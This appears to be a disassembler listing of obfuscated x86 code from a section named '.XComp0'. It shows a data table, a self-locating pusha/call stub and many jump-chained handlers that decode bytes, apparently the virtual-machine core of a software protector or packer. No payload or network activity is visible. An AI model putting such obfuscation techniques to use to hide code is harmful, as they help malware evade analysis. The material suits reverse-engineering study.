		dd 4E370057h, 50FC0057h, 36910057h, 3F640058h, 99090057h
		dd 0C25B0057h, 5510057h, 14BD0058h, 63190058h, 3A410057h
		dd 37B30057h, 0E2CD0057h, 45130057h, 0F7600057h, 48CF0057h
		dd 0AE90057h, 3AE70058h, 59060057h, 73360057h, 0AE170057h
		dd 0C0320057h, 5C8B0057h, 0B8580057h, 71350057h, 41230057h
		dd 0F3DF0057h, 13630057h, 2FE60058h, 909C0058h,	0F23F0057h
		dd 586A0057h, 4DF40057h, 0FCE10057h, 4E0A0057h,	2320057h
		dd 0AC0F0058h, 0A7210057h, 84970057h, 409A0057h, 6D930057h
		dd 0EA000057h, 73190057h, 40E30057h, 140D0057h,	2EE80058h
		dd 0E0340058h, 0FD5F0057h, 0ADD10057h, 28C90057h, 90220058h
		dd 0E1790057h, 940B0057h, 7F190057h, 2E350057h,	0CA1A0058h
		dd 29960057h, 6EC70058h, 804B0057h, 22AD0057h, 0D0180058h
		dd 48580057h, 99F70057h, 74630057h, 0A4720057h,	3E5B0057h
		dd 880C0057h, 0F7160057h, 381A0057h, 88C10057h,	0EE6A0057h
		dd 0C61A0057h, 0BDFC0057h, 337D0057h, 0F2F20058h, 343B0057h
		dd 4FB80058h, 62B0057h,	36FE0058h, 1F3D0058h, 0CDF0058h
		dd 7A8D0058h, 64980057h, 63790057h, 5AC80057h, 11340057h
		dd 0C29D0058h, 1D650057h, 0A3CA0058h, 0E0DA0057h, 0ABD00057h
		dd 224D0057h, 0CFBC0058h, 31470057h, 397F0058h,	696C0057h
		dd 0BA9C0057h, 34040057h, 0E7FD0058h, 19E80057h, 6B430058h
		dd 0D3B20057h, 0F46B0057h
		db 57h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_5734FA:				; CODE XREF: .XComp0:005990B5j
					; .XComp0:005990BFj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5F97F15h
		mov	eax, edi
		add	edi, 5F97C2Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_573518
		jmp	short loc_57352B
; ---------------------------------------------------------------------------


loc_573518:				; CODE XREF: sub_5A47B5-312A1j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_573527
; ---------------------------------------------------------------------------


loc_573522:				; CODE XREF: sub_5A47B5-3128Cj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_573527:				; CODE XREF: sub_5A47B5-31295j
		or	ecx, ecx
		jnz	short loc_573522


loc_57352B:				; CODE XREF: sub_5A47B5-3129Fj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_573538:				; CODE XREF: sub_5A47B5-31276j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_573538


loc_573541:				; CODE XREF: .XComp0:005735A6j
					; .XComp0:loc_573685j ...
		lodsb
		jmp	loc_58352F
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_573547:				; CODE XREF: .XComp0:0057A9F0j
		pop	esi
		jmp	loc_5763B0
; ---------------------------------------------------------------------------


loc_57354D:				; CODE XREF: .XComp0:005761C3j
		push	ebx
		jmp	loc_57D614
; ---------------------------------------------------------------------------


loc_573553:				; CODE XREF: .XComp0:0057C368j
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 780035C5h
		sub	edi, 28C64E10h
		add	ebp, edi
		pop	edi
		jmp	loc_582CB2
; ---------------------------------------------------------------------------


loc_57356D:				; CODE XREF: .XComp0:0057413Aj
		pop	ebx
		jmp	loc_57DD78
; ---------------------------------------------------------------------------


loc_573573:				; CODE XREF: .XComp0:005793FDj
		add	eax, ebp
		pop	ebp
		inc	eax
		add	eax, 0E68DA2ABh
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_581B7B
; ---------------------------------------------------------------------------


loc_573587:				; CODE XREF: .XComp0:00573FE4j
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[edi+eax*4+1], cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5735AB:				; CODE XREF: .XComp0:005736C8j
		push	esp
		jmp	loc_57847E
; ---------------------------------------------------------------------------


loc_5735B1:				; CODE XREF: .XComp0:00582AA3j
		xor	ebp, edx
		inc	edx
		jmp	loc_576509
; ---------------------------------------------------------------------------


loc_5735B9:				; CODE XREF: .XComp0:0057C428j
		add	esp, 4
		push	edi
		jmp	loc_5740EB
; ---------------------------------------------------------------------------


loc_5735C5:				; CODE XREF: .XComp0:005742B1j
		sub	esi, 171F6048h
		add	esi, 51205248h
		jmp	loc_57ED8D
; ---------------------------------------------------------------------------


loc_5735D6:				; CODE XREF: .XComp0:00578B37j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_57639F
; ---------------------------------------------------------------------------


loc_5735E4:				; CODE XREF: .XComp0:005810D3j
		push	2F4h
		mov	[esp], esi
		jmp	loc_575457
; ---------------------------------------------------------------------------


loc_5735F1:				; CODE XREF: .XComp0:0057E02Fj
		mov	ecx, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_57F86E
; ---------------------------------------------------------------------------


loc_57360B:				; CODE XREF: .XComp0:00575270j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57ED6F
; ---------------------------------------------------------------------------


loc_573623:				; CODE XREF: .XComp0:0057AEA4j
		not	edi
		jmp	loc_576AD3
; ---------------------------------------------------------------------------


loc_57362A:				; CODE XREF: .XComp0:00580DAEj
		push	4
		push	dword ptr [esp]
		jmp	loc_57D76B
; ---------------------------------------------------------------------------


loc_573637:				; CODE XREF: .XComp0:0058289Bj
		mov	[esp], ax
		mov	ah, 84h
		sub	esp, 4
		mov	[esp], edx
		mov	dh, ah
		mov	cl, dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_57CBD8
; ---------------------------------------------------------------------------


loc_573650:				; CODE XREF: .XComp0:0057875Aj
		push	esi
		mov	esi, 0CF0E8A2Bh
		xor	ecx, esi
		jmp	loc_576242
; ---------------------------------------------------------------------------


loc_57365D:				; CODE XREF: .XComp0:005737F0j
		sub	bl, 14h
		sub	bl, ah
		add	bl, 14h
		jmp	loc_581478
; ---------------------------------------------------------------------------


loc_57366A:				; CODE XREF: .XComp0:0057FECDj
		push	445B6D7Eh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 19439107h
		mov	ebx, ecx
		pop	ecx
		sub	edx, ebx
		jmp	loc_582BA9
; ---------------------------------------------------------------------------


loc_573685:				; CODE XREF: .XComp0:005813ECj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57368A:				; CODE XREF: .XComp0:005764BAj
		push	6609h
		mov	[esp], edx
		push	ebx
		push	2724FA4h
		pop	ebx
		shl	ebx, 1
		jmp	loc_575A9A
; ---------------------------------------------------------------------------


loc_5736A0:				; CODE XREF: .XComp0:00582F86j
		pop	eax
		jmp	loc_577443
; ---------------------------------------------------------------------------


loc_5736A6:				; CODE XREF: .XComp0:0057C06Aj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_573F7A
; ---------------------------------------------------------------------------


loc_5736B4:				; CODE XREF: .XComp0:0057F7EEj
		pop	ebx
		push	eax
		mov	eax, 26512588h
		jmp	loc_57CA3F
; ---------------------------------------------------------------------------


loc_5736C0:				; CODE XREF: .XComp0:005805F5j
		push	6759h
		mov	[esp], edx
		jmp	loc_5735AB
; ---------------------------------------------------------------------------


loc_5736CD:				; CODE XREF: .XComp0:0057F849j
		mov	[esp], eax
		mov	ah, 5Bh
		push	ecx
		mov	cl, 5Bh
		jmp	loc_5828A0
; ---------------------------------------------------------------------------


loc_5736DA:				; CODE XREF: .XComp0:005772EBj
		mov	[esp], ebp
		push	edi
		mov	edi, 8954F48h
		or	edi, 502402D3h
		add	edi, 66AE7F2Fh
		sub	edi, 0BF63CF08h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5748B0
; ---------------------------------------------------------------------------


loc_573705:				; CODE XREF: .XComp0:00580B61j
		mov	[esp], edx
		push	esi
		push	ebx
		push	edi
		mov	edi, 31997513h
		jmp	loc_580ED9
; ---------------------------------------------------------------------------


loc_573715:				; CODE XREF: .XComp0:005751D1j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5A762F2h
		jmp	loc_5778E2
; ---------------------------------------------------------------------------


loc_57372C:				; CODE XREF: .XComp0:00580C47j
		sub	cl, dh
		pop	edx
		xor	cl, 20h
		mov	dl, cl
		pop	ecx
		inc	dl
		dec	dl
		jmp	loc_57EBF2
; ---------------------------------------------------------------------------


loc_57373E:				; CODE XREF: .XComp0:0057682Aj
		add	ecx, 4
		jmp	loc_57C7CA
; ---------------------------------------------------------------------------


loc_573749:				; CODE XREF: .XComp0:00574FB3j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4960h
		mov	[esp], ecx
		jmp	loc_5774E7
; ---------------------------------------------------------------------------


loc_573760:				; CODE XREF: .XComp0:00580A7Cj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5747EA
; ---------------------------------------------------------------------------


loc_573769:				; CODE XREF: .XComp0:005815FFj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	1891h
		mov	[esp], edi
		jmp	loc_58004A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57377D:				; CODE XREF: sub_5A47B5-25C47j
		mov	al, dl
		not	al
		mov	dl, al
		pop	ax
		add	dl, 83h
		xor	dl, 59h
		jmp	loc_58053D
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_573790:				; CODE XREF: .XComp0:005814A8j
		xor	edx, ebx
		pop	ebx
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5737A2:				; CODE XREF: .XComp0:0057A3FFj
		pop	esp
		mov	[esp], ecx
		jmp	loc_577BAC
; ---------------------------------------------------------------------------


loc_5737AB:				; CODE XREF: .XComp0:00578986j
		pop	eax
		sub	al, bh
		jmp	loc_57882C
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	5689h
		mov	[esp], esp
		jmp	loc_57B103
; ---------------------------------------------------------------------------


loc_5737E3:				; CODE XREF: .XComp0:005828A3j
		neg	cl
		dec	cl
		shl	cl, 6
		sub	cl, 1Ch
		sub	ah, cl
		pop	ecx
		jmp	loc_57365D
; ---------------------------------------------------------------------------


loc_5737F5:				; CODE XREF: .XComp0:005821E0j
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_579332
; ---------------------------------------------------------------------------


loc_573812:				; CODE XREF: .XComp0:00582230j
		push	small word ptr [eax]
		jmp	loc_57D5D2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2F5Eh
		mov	[esp], ebp
		push	5A05h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582716
; ---------------------------------------------------------------------------


loc_573841:				; CODE XREF: .XComp0:0057F2F6j
		push	ebx
		jmp	loc_582A95
; ---------------------------------------------------------------------------


loc_573847:				; CODE XREF: .XComp0:0057BC18j
		push	cx
		mov	cl, 78h
		jmp	loc_5786AB
; ---------------------------------------------------------------------------


loc_573850:				; CODE XREF: .XComp0:0057921Ej
		mov	bx, [esp]
		jmp	loc_582D53
; ---------------------------------------------------------------------------


loc_573859:				; CODE XREF: .XComp0:0057AC68j
		add	ebp, eax
		push	esi
		mov	esi, 4CB7209Ch
		xor	esi, 34835F38h
		neg	esi
		inc	esi
		add	esi, 814DEE70h
		jmp	loc_578B2A
; ---------------------------------------------------------------------------


loc_573875:				; CODE XREF: .XComp0:0058089Dj
		sub	dh, 0EBh
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0B0h
		jmp	loc_5812D8
; ---------------------------------------------------------------------------


loc_573886:				; CODE XREF: .XComp0:00579497j
		shr	bh, 5
		shr	bh, 4
		inc	bh
		add	bh, 0C4h
		mov	dh, bh
		jmp	loc_5773DF
; ---------------------------------------------------------------------------


loc_573898:				; CODE XREF: .XComp0:0057A9D4j
		pop	ecx
		add	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_579372
; ---------------------------------------------------------------------------


loc_5738AF:				; CODE XREF: .XComp0:0057D77Cj
		pop	esp
		jmp	loc_5796DC
; ---------------------------------------------------------------------------


loc_5738B5:				; CODE XREF: .XComp0:0057ACB4j
		mov	edi, 0BE5614Bh
		inc	edi
		sub	edi, 0CDC2FF64h
		or	ebx, edi
		pop	edi
		dec	ebx
		xor	ebx, 760A7C94h
		xor	ebx, 668A73ADh
		push	eax
		mov	eax, ebx
		mov	esi, eax
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_57D08E
; ---------------------------------------------------------------------------


loc_5738E2:				; CODE XREF: .XComp0:0057BEEAj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1D1D0C37h
		push	eax
		mov	eax, 1
		sub	ebx, 45901611h
		sub	ebx, eax
		add	ebx, 45901611h
		pop	eax
		push	ebp
		push	edi
		jmp	loc_57A443
; ---------------------------------------------------------------------------


loc_573913:				; CODE XREF: .XComp0:0057BB44j
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		pop	ebp
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 63F741ECh
		sub	ebx, 7322EAEh
		and	ebp, ebx
		pop	ebx
		dec	ebp
		jmp	loc_57B183
; ---------------------------------------------------------------------------


loc_57393B:				; CODE XREF: .XComp0:0057EFB6j
		push	ebx
		jmp	loc_57603A
; ---------------------------------------------------------------------------


loc_573941:				; CODE XREF: .XComp0:0058304Dj
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebx, 0E2E4F3CBh
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5788F1
		push	eax
		push	6E9h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	eax
		jmp	loc_5765E9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57398E:				; CODE XREF: .XComp0:00582E08j
		or	esi, 6A2F1807h
		add	esi, 9000A553h
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_57FF90
; ---------------------------------------------------------------------------


loc_5739A4:				; CODE XREF: .XComp0:0057F2FDj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_578BA6
; ---------------------------------------------------------------------------


loc_5739B9:				; CODE XREF: .XComp0:0057BC93j
		pop	edi
		push	131Bh
		mov	[esp], ebx
		jmp	loc_575032
; ---------------------------------------------------------------------------
		lodsw
		push	bx
		mov	bx, 4A49h
		add	ax, bx
		jmp	loc_57C967
; ---------------------------------------------------------------------------


loc_5739D7:				; CODE XREF: .XComp0:0057B92Ej
		add	dx, cx
		jmp	loc_57903D
; ---------------------------------------------------------------------------


loc_5739DF:				; CODE XREF: .XComp0:0057B70Fj
		add	ebx, 4
		jmp	loc_57604A
; ---------------------------------------------------------------------------


loc_5739EA:				; CODE XREF: .XComp0:0057AB9Cj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 65310DC7h
		jmp	loc_574C33
; ---------------------------------------------------------------------------


loc_573A01:				; CODE XREF: .XComp0:00574A27j
		mov	ebp, 1A3E133Eh
		not	ebp
		add	ebp, 334D5694h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 29FF75DBh
		jmp	loc_57B28F
; ---------------------------------------------------------------------------


loc_573A1E:				; CODE XREF: .XComp0:005787AEj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_573A28:				; CODE XREF: sub_5A47B5-2B798j
		mov	ch, 77h
		shl	ch, 1
		sub	ch, 64h
		sub	al, ch
		pop	ecx
		push	edx
		push	eax
		mov	al, 1Eh
		sub	esp, 4
		jmp	loc_581160
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------
		push	0E2Eh
		mov	[esp], edx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_573A4E:				; CODE XREF: .XComp0:00576248j
		add	esp, 4
		jmp	loc_580517
; ---------------------------------------------------------------------------


loc_573A59:				; CODE XREF: .XComp0:00578CC3j
		sub	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 14D83B41h
		add	eax, edi
		pop	edi
		add	eax, edx
		push	727Bh
		jmp	loc_57ABEF
; ---------------------------------------------------------------------------


loc_573A71:				; CODE XREF: .XComp0:00582AABj
		add	ebx, 4
		jmp	loc_5801B4
; ---------------------------------------------------------------------------


loc_573A7C:				; CODE XREF: .XComp0:0057F6B6j
		push	esi
		push	edx
		mov	edx, 458736E1h
		and	edx, 24B02A55h
		xor	edx, 18DA67F6h
		and	edx, 588F2ADEh
		jmp	loc_573E08
; ---------------------------------------------------------------------------


loc_573A9A:				; CODE XREF: .XComp0:00577E11j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_581947
; ---------------------------------------------------------------------------


loc_573AA6:				; CODE XREF: .XComp0:00580735j
		sub	eax, 61EC5B52h
		pop	ebp
		pop	ecx
		mov	ebx, 5E963E7h
		xor	ebx, eax
		push	dword ptr [esp]
		jmp	loc_576E85
; ---------------------------------------------------------------------------


loc_573ABC:				; CODE XREF: .XComp0:005828F6j
		pop	edx
		push	5C1Dh
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4CD25480h
		sub	[esp+4], ebx
		pop	ebx
		pop	ebx
		jmp	loc_577AC4
; ---------------------------------------------------------------------------


loc_573AD6:				; CODE XREF: .XComp0:00580CE5j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_574202
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_577DCD
; ---------------------------------------------------------------------------


loc_573AF2:				; CODE XREF: .XComp0:00582960j
		sub	ebx, 1C3B6869h
		sub	ebx, 1
		add	ebx, 1
		shl	ebx, 8
		push	ecx
		mov	ecx, 0F6EA6A04h
		jmp	loc_573F07
; ---------------------------------------------------------------------------


loc_573B0C:				; CODE XREF: .XComp0:0057D60Fj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 74B415BAh
		jmp	loc_57E3AF
; ---------------------------------------------------------------------------


loc_573B21:				; CODE XREF: .XComp0:0058359Dj
		push	ebx
		push	3A902B5Bh
		jmp	loc_577500
; ---------------------------------------------------------------------------


loc_573B2C:				; CODE XREF: .XComp0:0058372Cj
		pop	dword ptr [esp]
		jmp	loc_579423
; ---------------------------------------------------------------------------


loc_573B34:				; CODE XREF: .XComp0:00578FCBj
		push	small 54DEh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_573B44:				; CODE XREF: .XComp0:00576289j
		mov	[esp], esi
		jmp	loc_57EE16
; ---------------------------------------------------------------------------


loc_573B4C:				; CODE XREF: .XComp0:00580A1Aj
		mov	edi, [esp]
		jmp	loc_579F56
; ---------------------------------------------------------------------------


loc_573B54:				; CODE XREF: .XComp0:00578312j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	363Bh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		push	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_57BFFB
; ---------------------------------------------------------------------------


loc_573B89:				; CODE XREF: .XComp0:00582AB4j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5793E5
; ---------------------------------------------------------------------------


loc_573B96:				; CODE XREF: .XComp0:00575E4Dj
		sub	esp, 4
		jmp	loc_5758F6
; ---------------------------------------------------------------------------


loc_573BA1:				; CODE XREF: .XComp0:0057C4F6j
		mov	edx, esp
		jmp	loc_579EB5
; ---------------------------------------------------------------------------


loc_573BA8:				; CODE XREF: .XComp0:005768F8j
		sub	eax, 4666A921h
		sub	edi, eax
		pop	eax
		mov	ecx, edi
		pop	edi
		push	esi
		mov	esi, 12053172h
		push	0
		sub	[esp], esi
		pop	esi
		not	esi
		neg	esi
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		not	esi
		xor	esi, 8BEAE146h
		add	ebp, esi
		pop	esi
		add	ebp, ecx
		jmp	loc_57D560
; ---------------------------------------------------------------------------


loc_573BDC:				; CODE XREF: .XComp0:0057A571j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	705Bh
		mov	[esp], ebp
		mov	ebp, 273C259Fh
		jmp	loc_58260B
; ---------------------------------------------------------------------------


loc_573BFD:				; CODE XREF: .XComp0:0057C74Fj
		pop	dword ptr [esp]
		jmp	loc_5781F3
; ---------------------------------------------------------------------------


loc_573C05:				; CODE XREF: .XComp0:005807C6j
		add	edx, ebp
		jmp	loc_57BF76
; ---------------------------------------------------------------------------


loc_573C0C:				; CODE XREF: .XComp0:005822C4j
		mov	cl, 28h
		xor	dl, cl
		pop	cx
		add	dl, 71h
		dec	dl
		xor	dl, 7Dh
		mov	al, dl
		mov	edx, [esp]
		add	esp, 4
		shr	al, 5
		sub	al, 9Dh
		inc	al
		push	ebx
		mov	bh, 91h
		dec	bh
		sub	bh, 5Fh
		add	bh, 0D3h
		add	al, bh
		pop	ebx
		not	al
		xor	al, 0F4h
		push	ebx
		mov	bh, al
		jmp	loc_579168
; ---------------------------------------------------------------------------


loc_573C46:				; CODE XREF: .XComp0:005830F7j
		sub	dword ptr [esp], 32322573h
		mov	esi, [esp]
		add	esp, 4
		add	esi, 32322573h
		pop	edi
		push	ecx
		mov	ecx, 16DC51A1h
		sub	ecx, 1
		jmp	loc_5767D5
; ---------------------------------------------------------------------------


loc_573C68:				; CODE XREF: .XComp0:00582AC5j
		add	ecx, 4
		push	eax
		mov	eax, 3F6558B4h
		shl	eax, 4
		shl	eax, 2
		add	eax, 44CF73DCh
		jmp	loc_582D0A
; ---------------------------------------------------------------------------


loc_573C84:				; CODE XREF: .XComp0:0057AC0Aj
		add	eax, 4
		push	edi
		jmp	loc_57F89C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 2F03269Bh
		shl	esi, 5
		shr	esi, 5
		sub	esi, 0E24CD446h
		jmp	loc_580D87
; ---------------------------------------------------------------------------


loc_573CB2:				; CODE XREF: .XComp0:005761ACj
		sub	edi, 6AF74365h
		shl	edi, 3
		not	edi
		inc	edi
		add	edi, 611B06B9h
		jmp	loc_583023
; ---------------------------------------------------------------------------


loc_573CC9:				; CODE XREF: .XComp0:0057EC87j
		mov	dl, 2Fh
		jmp	loc_581ACF
; ---------------------------------------------------------------------------


loc_573CD0:				; CODE XREF: .XComp0:00576195j
		mov	edx, 48DE0649h
		jmp	loc_57D98C
; ---------------------------------------------------------------------------


loc_573CDA:				; CODE XREF: .XComp0:0057A8C2j
		pop	ecx
		push	ecx
		mov	ch, 0CAh
		sub	al, ch
		pop	ecx
		sub	al, cl
		add	al, 0CAh
		sub	al, 38h
		jmp	loc_58293C
; ---------------------------------------------------------------------------


loc_573CEC:				; CODE XREF: .XComp0:0057DF48j
		mov	eax, esi
		mov	ecx, eax
		pop	eax
		pop	esi
		jmp	loc_577438
; ---------------------------------------------------------------------------


loc_573CF7:				; CODE XREF: .XComp0:0057FAABj
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_57ADF0
; ---------------------------------------------------------------------------


loc_573D04:				; CODE XREF: .XComp0:00574D38j
		pop	eax
		push	edi
		mov	edi, 1AA0279Ch
		or	edi, 0DF26711h
		dec	edi
		shl	edi, 1
		not	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		push	edx
		mov	edx, 3EAD38C0h
		mov	ebx, edx
		pop	edx
		jmp	loc_57EA08
; ---------------------------------------------------------------------------


loc_573D3B:				; CODE XREF: .XComp0:005748CAj
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_573D50:				; CODE XREF: .XComp0:0057B573j
		or	esi, 55212EACh
		xor	esi, 6B8B35CEh
		add	esi, 46C3938h
		sub	esi, 0FF11DB17h
		jmp	loc_574FD1
; ---------------------------------------------------------------------------


loc_573D6D:				; CODE XREF: .XComp0:00575628j
		sub	edi, 1BC7A33h
		pop	edx
		xchg	edi, [esp]
		jmp	loc_577CD3
; ---------------------------------------------------------------------------


loc_573D7C:				; CODE XREF: .XComp0:00575DB5j
		push	edx
		push	edi
		jmp	loc_575589
; ---------------------------------------------------------------------------


loc_573D83:				; CODE XREF: .XComp0:00583592j
		pop	esp
		mov	[esp], ecx
		mov	ch, 7Fh
		jmp	loc_578471
; ---------------------------------------------------------------------------


loc_573D8E:				; CODE XREF: .XComp0:0057E131j
		pop	ecx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_575183
; ---------------------------------------------------------------------------


loc_573DBC:				; CODE XREF: .XComp0:0057BF26j
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_57644A
; ---------------------------------------------------------------------------


loc_573DD3:				; CODE XREF: .XComp0:00580E8Ej
		mov	esp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_57A4B6
; ---------------------------------------------------------------------------


loc_573DEA:				; CODE XREF: .XComp0:0057ABAFj
		pop	esi
		add	edi, ebx
		pop	ebx
		add	ecx, edi
		push	dword ptr [esp]
		jmp	loc_57A974
; ---------------------------------------------------------------------------


loc_573DF8:				; CODE XREF: .XComp0:00583436j
		mov	[esp], ebp
		push	53DF63A4h
		mov	ebp, [esp]
		jmp	loc_583636
; ---------------------------------------------------------------------------


loc_573E08:				; CODE XREF: .XComp0:00573A95j
		add	edx, 74024B84h
		jmp	loc_5766B6
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_57BA48
; ---------------------------------------------------------------------------


loc_573E2A:				; CODE XREF: .XComp0:00576756j
		or	ebx, 6753AC5h
		xor	ebx, 6FD3AE1h
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_580220
; ---------------------------------------------------------------------------


loc_573E48:				; CODE XREF: .XComp0:00583466j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_57A54F
; ---------------------------------------------------------------------------
		lodsb
		add	al, 45h
		jmp	loc_57C895
; ---------------------------------------------------------------------------


loc_573E63:				; CODE XREF: .XComp0:00575018j
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_57BD3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_573E6E:				; CODE XREF: sub_5A47B5-260EEj
		add	cl, dh
		pop	edx
		shr	cl, 5
		xor	cl, 5Bh
		push	edx
		jmp	loc_582702
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_573E7D:				; CODE XREF: .XComp0:0057BC25j
		add	ecx, 3A672C44h
		sub	ecx, 0CCF0FCAh
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_575EAB
; ---------------------------------------------------------------------------


loc_573EA8:				; CODE XREF: .XComp0:0057BA6Fj
		pop	ecx
		jmp	loc_5832E4
; ---------------------------------------------------------------------------


loc_573EAE:				; CODE XREF: .XComp0:0057B155j
		add	al, 2Eh
		sub	al, dl
		push	edx
		mov	dl, 2Eh
		sub	al, dl
		jmp	loc_581016
; ---------------------------------------------------------------------------


